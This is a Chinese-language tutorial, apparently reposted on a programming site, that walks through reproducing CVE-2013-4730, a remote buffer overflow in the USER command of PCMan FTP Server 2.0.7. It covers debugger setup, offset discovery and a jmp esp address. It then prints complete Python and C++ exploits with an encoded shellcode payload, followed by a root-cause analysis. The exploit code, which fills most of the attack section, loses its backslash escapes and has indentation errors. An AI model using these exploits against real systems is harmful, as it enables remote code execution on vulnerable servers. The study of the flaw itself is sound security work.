PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

栏目: 编程工具 · 发布时间: 5年前

内容简介:PCMAN ftpserver 2.0.7

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

1. 漏洞简介

软件名称

PCMAN ftp

软件版本

server 2.0.7

漏洞类型

远程缓冲区溢出

漏洞触发点

未对user命令做长度限制检查

漏洞编号

CVE-2013-4730

其他信息:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730_A

2. 漏洞详细复现

1. 环境搭建

1. 准备工作:

  1. 自动生成有序数,并能确定异常点的偏移可以使用windbg插件Mona2
  2. Mona2 需要 Python 2.7
  3. windbg(用来定位jmp esp地址)
  4. x64dbg
  5. vs写测试代码和shellcode

2. 环境配置:

  1. 虚拟机win7 sp1
  2. wdk 自带windbg
  3. python2.7
  4. vc++ 2008运行库
  5. 安装windbg的python 插件pykd
  6. 复制mona.py和windbglib.py到windbg同目录
  7. 运行windbg随便调试一个程序进程环境测试
.load pykd.pyd 加载pykd
!py mona 测试mona
.reload /f 检查windbg符号路径是否正常

mona安装成功截图

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

2. vs2015写测试代码

首先我们要能与FTP进行交互才能触发漏洞,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互,有兴趣的可以去阅读RFC959文档。

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")

int main()
{
    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    char *pCompand = "USER SUN";


    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, pCompand, strlen(pCompand), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    return 0;
}

图中可以看到测试代码连接成功

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

3. poc构造

利用mona构造长字符串

!py mona pc 3000

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

在上述的测试代码中将用户名 USER SUN 改为刚生成的这个长字符串。看程序能不能崩溃,如果崩溃了,说明测试成功

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

4. 复现

  1. 打开pcman-ftp软件
  2. 打开windbg并附加pcman-ftp进程
  3. windbg加载pykd.pyd
    .load pykd.pyd
  4. vs发送测试包,然后看到windbg信息

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

查看栈区发现已经被我们的数据覆盖了

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

  1. mona查看溢出点

    !py mona po 发生溢出的eip

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

我们看到这里的偏移为2007

5. exploit构造

1. 找jmp esp

首先找本模块的jmp esp看有没有能用的

!py mona.py jmp -r esp

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 然后找系统模块的jmp esp,一般都会用系统模块 因为某系特点的系统模块没有开随机基址

!py mona jmp -r esp -m kernel32.dll

找到了四个,并且可以用

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 我们这里用 0x7654fbf7

2. shellcode组合字符串

  1. USER 也就是用户名
  2. 无意义的字符串,大小为2002个
  3. jmp esp
  4. nop填充
  5. shellcode

3. exploit源码

python版本

#!usr/bin/python
# -*- coding: utf-8 -*-

import socket

Cmd = b"USER "
Fill = b"x41" * 2002
Jmp = b"xf7xfbx54x76"
Nop = b"x90" * 50
ShellCode = b"x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
b"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" 
b"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" 
b"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" 
b"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" 
b"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" 
b"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" 
b"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" 
b"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" 
b"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" 
b"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" 
b"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" 
b"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" 
b"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" 
b"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" 
b"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" 
b"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" 
b"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" 
b"xD7"

def main():
    print("创建SOCKET")
    net_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print("连接")
    port = 21
  net_sock.connect(('192.168.43.82',port))
    print(net_sock.recv(1024).decode('utf-8'))
    data = Cmd + Fill + Jmp + Nop + ShellCode
    net_sock.send(data)
    print(net_sock.recv(1024).decode('utf-8'))
    net_sock.close()
if __name__ == '__main__':
    main()

c++版本

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")


char bShellcode[] = "x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" 
"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" 
"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" 
"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" 
"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" 
"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" 
"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" 
"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" 
"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" 
"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" 
"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" 
"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" 
"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" 
"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" 
"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" 
"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" 
"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" 
"xD7";


int main()
{

    //构造exp
    char cExpolit[5000] = { 0x00 };
    char cFill[5000] = { 0x00 };
    char cNop[51] = { 0x00 };
    char cRetAddr[5] = "xf7xfbx54x76"; // 0x7654fbf7
    memset(cFill, 'A', 2002); // 别忘了USER 还占5个字节
    memset(cNop, 'x90', 50);
    sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetAddr, cNop, bShellcode, "rn");



    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, cExpolit, strlen(cExpolit), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    system("pause");
    return 0;
}

攻击成功

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

3. 漏洞分析

现在我们来分析一下这个漏洞到底是如何生成的。

这里我们用到windbg的动态调试和IDA的静态调试

再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化

  1. 找能下断的地方
    PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造
  2. 硬件写入断点
    ba w4 0012ed60 ".if(poi(0012ed60 )=0x6f43366f ){}.else{gc}"

断下了

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

  1. 我们通过widbg和IDA栈回溯看看到底调用的哪个地方造成了数据覆盖,回溯了好几层,需要耐心观察最后我们发现这里比较可疑
    PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造
  2. 验证,我们重新运行然后widbg在sprintf下断点 bp 00403EE6 并且观察堆栈,发现前后堆栈数据被poc的数据覆盖

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

sprintf运行了好几次,最后一次是因为复制的字符串太长导致返回值被覆盖,从而造成缓冲区溢出,

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

造成这个种结果是因为在拼接最后一个字符串的时候没有做长度限制,导致缓冲区溢出

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

琢石成器

琢石成器

罗云彬 / 电子工业出版社 / 2009-6 / 89.00元

Windows环境下32位汇编语言是一种全新的编程语言。它使用与C++语言相同的API接口,不仅可以开发出大型的软件,而且是了解操作系统运行细节的最佳方式。 本书从编写应用程序的角度,从“Hello,World!”这个简单的例子开始到编写多线程、注册表和网络通信等复杂的程序,通过70多个实例逐步深入Win32汇编语言编程的方方面面。 本书作者罗云彬拥有十余年汇编语言编程经验,是汇编编程......一起来看看 《琢石成器》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

MD5 加密
MD5 加密

MD5 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器